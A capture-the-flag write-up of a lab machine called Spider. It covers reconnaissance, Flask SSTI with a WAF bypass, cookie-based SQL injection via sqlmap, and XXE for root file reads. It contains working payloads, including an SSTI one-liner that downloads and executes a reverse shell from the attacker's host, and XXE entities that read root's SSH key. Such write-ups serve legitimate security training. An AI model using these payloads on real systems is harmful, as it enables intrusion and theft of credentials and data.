Initial recon
sudo nmap -T4 -oA fullNmap -A --version-all -Pn -p- 10.10.10.243
Only SSH and port 80 is open here so not much choice what to check.
Error on main page
Through content discovery using I found 2 paths which are accessible without redirects, /login
and /register
. Rest of the paths can be useful after logging in.
Discovered paths
Only login request is working, registration is impossible. Needs to discover some extra resources on the site then. Attempted some extra searches using zeta
keyword and additional paths but could not find anything.
Also attempted to discover some subdomains using ffuf -u http://spider.htb/ -H "Host: FUZZ.spider.htb" -w /d/hacking/SecLists/Discovery/DNS/shubs-subdomains.txt -fc 301
command.
Digging into the login page more then - it says we require UUID to login into the page. If we could brute-force it there is some hope - maybe during registration user is created but we just do not receive the UUID? If the UUIDv1 would be used it is bruteforce-able as it relies on the timestamp, but we would also need a system MAC address. Nice breakdown of UUID structure is here
Login page
There also exist limit of 10 characters on the username when registering.
For now - let’s perform UDP ports scan with sudo nmap 10.10.10.243 -sU -T4 -oA UDPScan -Pn
if there is something interesting there. Hoping there is something that lets us retrieve the MAC address at least. Nothing seems to be open there.
I’m oficially lost at this point. It turns out all of the 500 errors are because of the broken machine - reset fixed it :) So onto the hacking.
Hacking the website
Authentication is done through the base64 encoded tokens. High probability that it is Flask that is used as a backend in that case as these are not typical JWT tokens. On the chair details I found user chiv
which posted the chairs which is probably our target here. Generated UUIDs look totally random so I doubt it is the vulnerable type. After testing various things, I noticed that username is reflected in many places.
Server Side Template Injection
Testing different payloads, I discovered that on endpoint /user
our username is insecurely injected into the template, leading to Server Side Template Injection.
Server Side Template Injection vulnerability
Now remember we can only have 10 characters in the username - so aside from the {{ }}
tags we have 6 more characters. Ideally, we can print the content of config
variable which should list all the secrets of the application.
SQL Injection
With this we are able to sign the cookies. But by itself it still does not grant us any privs, since we don’t know the UUID of the chiv
user we want to impersonate. Tinkering with the cookies, I am able to discover SQL injection in cart_items
parameters - as value "cart_items":["1+1"]
works the same that "cart_items":["2"]
. Now we need to instrument sqlmap
to properly exploit this vulnerability. Final payload that I used to succesfully find vulnerability and dump data from the database is that one (based on this):
sqlmap http://spider.htb/cart --eval "from flask_unsign import session as s; session = s.sign({'cart_items':[session],'uuid':'13da12f8-306f-4a53-a30b-4921de1bd13d'}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=1*" --dump --proxy http://127.0.0.1:8080 --delay=1 --level=5 --risk=3
With this we succesfully dumped data and could log in as a chiv
user.
Of course the first thing to do is testing that password on the SSH - but it accepts only the public keys. Let’s go further with our exploitation then.
SSTI again ?
In the messages table and admin panel we see interesting message about unfinished /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal
endpoint. Sounds like a huge hint, so let’s try to exploit that. From this position, we basically care only about Remote Code Execution vulnerabilities, so testing SSTI vulnerability again. When sending anything in message parameter, nothing happens - but any typical SSTI payload in the contact parameter is blocked!
Block message
Going through various payloads as {{ }}
tags seem forbidden, I am at least able to test that indeed there exist a SSTI vulnerability. When sending payload test{##}
where {##}
should get treated as a comment and not reflected - indeed we see only the test
part in the support panel. Another useful tags for this template engine are {% %}
which pass just fine. However there are plenty of keywords that are blocked by their “WAF” so it seems that we need to bypass that.
WAF error message
I found excellent resource about bypassing filters in SSTI here - with this I found payload like {%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[0]
which bypasses all filters and prints 0th class from available classes in the python context. From here we can enumerate through them and find a gadget which will be useful to us. I went for the classic one, a class from which we can call popen
function and call any arbitrary function.
Example of class object which can be useful for that is os._wrap_close
. Printing all the classes name one by one, I find our function at index 117
. Now just finishing the chain (and fixing a typo in the article with that particular command) We have our final payload which works inside {% %}
tags:
{%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()%25}
Final payload which is oneliner RCE - need to host revshell in our server on port 8888
:
{%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("curl+http://10\x2E10\x2E14\x2E226:8888/revshell+-o+rev+%26%26+chmod+a%2bx+rev+%26%26+\x2E/rev")["read"]()%25}
And here we have a flag and SSH private key id_rsa
in folder /home/chiv/.ssh
for stable connection.
User flag
Privilege escalation
Starting with the basic thing so running a linpeas.sh script here. From the output we can see interesting process - uwsgi
which is running as root has game.ini
file as init script.
Processes output from linpeas
It means the web app is hosted with the privileges of the root user on that machine. Inspecting listening ports, we see listening service on port 8080. So looks like this is straight path to the root. Let’s follow it.
First let’s tunnel that port to our host and inspect it - doing it with ssh chiv@spider.htb -i id_rsa -L 9999:127.0.0.1:8080
(listening on port 9999 since 8080 is taken by my Burp).
It seems that it is another Flask based application and we can login into it with any credentials. Also the session cookie should contain our username as it is reflected but there is not any plaintext there when decoded - possibly it is encrypted.
Site by itself does not seem to have any functionalities besides login and logout. Logged in username is being reflected on the site but does not seem to be vulnerable to any simple attacks like standard SSTI. When logging out - we receive cookie with parameter points
which can be a hint here.
Attempting to inject various characters like !@#$%^&*()_+}{":?><>?|/*-~!
throws out an error - so should be digging further into it. Content discovery does not yield any extra paths on this web app.
Error response to various characters
After testing various characters and combinations, it seems that problematic characters are <
and &
. What is more - after sending payload like <b>a</b>
we get response None
instead of error, so it seems it recognizes proper tags when opened and closed. Now onto the search what exactly can be used underneath.
The only things that comes to mind aside from XSS (which would not make sense here as it is not some NodeJS app) which uses these characters is XXE. However after trying various payloads and attempting bypasses I was not able to get any other output than None
or Error
in username - also nothing blind was working there. Interestingly learned about XInclude payload to trigger XXE vulnerability which is not mentioned a lot and never had a chance to dig into it more.
Struggling what do try next - finally pieced together that the payload in the cookie (our username
) seems encrypted - so maybe the secret is being reused and is the same as in previous application. Attempting to decode it with flask-unsign --decode --cookie '.eJxNjL1ugzAYRV-l8tzBUJoBKQuyDXUKkQ3-TLyBHMWEn6KAWkKUd28jtVLHo3PuvaFu6TsU3tBTjUKkaMYsXQrRcpB6HqD39FGn1zoxTaVYUMRjZJVHRClTIPJdUbez_duq8pn8-CFXWbRnYyLPkXn4BxvcEaEtF5gGhrl9HWdzpl0DnrpACxqYofbFtJq-Tgcfe1XMS_j397sX0l82mvC48nlZJyCqlgYF4dOxO11lPzfgL56K7edfL9buosHlFYuGenVpikf_cM7k7mu7RfdnNH40wzyhEN-_AXhMVbc.YPXr9g.3RVz1HhevYs8G9Zs_UP0KX_6_50' --secret "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
- and we get some interesting output as the result!
The decrypted result is
After base64 decoding the lxml
parameter - it shows us structure of the processed request, where both version
and username
parameters from the login requests are embeeded.
We cannot inject directly into the username
parameter it seems as it is inside the request structure actually, but the value of version
seems easily injectable. Testing it with the payload 1+--><!DOCTYPE+root+[<!ENTITY+%25+ext+SYSTEM+"http%3a//127.0.0.1%3a3333">+%25ext%3b]>
it actually hits our listener on port 3333!
Now just need to read a file using it. Probably could do it completely blind but if we can inject in both places - it seems easiest to prepare entity in the version
parameter and reflect it on the page by using that entity. Let’s attempt it this will work.
Parameters to my request finally look like this - need to remember to again start next comment section after defining entity to have proper syntax.
username=%26test%3b&version=1+--><!DOCTYPE+root+[<!ENTITY+test+SYSTEM+"file:///root/root.txt">]><!--+
Sending that payload gives us the root flag!
Reading the root flag
We could also read /root/.ssh/id_rsa
file to get shell on the root account and read flag ourselves - that works without any problem here too. Other means could be cracking password from /etc/shadow
or searching for some other sensitive data to be read but in our case we can stop on this one.
Closing thoughts
This machine was totally web, which I’m comfortable with but needed a bit of refresher to get onto the starting path (checking all the places for SSTI). After getting onto the track the only thing needed here is perservance in looking to how bypass things which was quite enjoyable. Root seemed a bit easier than the initial user tbh, but cannot say it was super easy for me as I forgot the first rule of hacking machines - always check for reuse of credentials and secrets first! Can definitely recommend that one.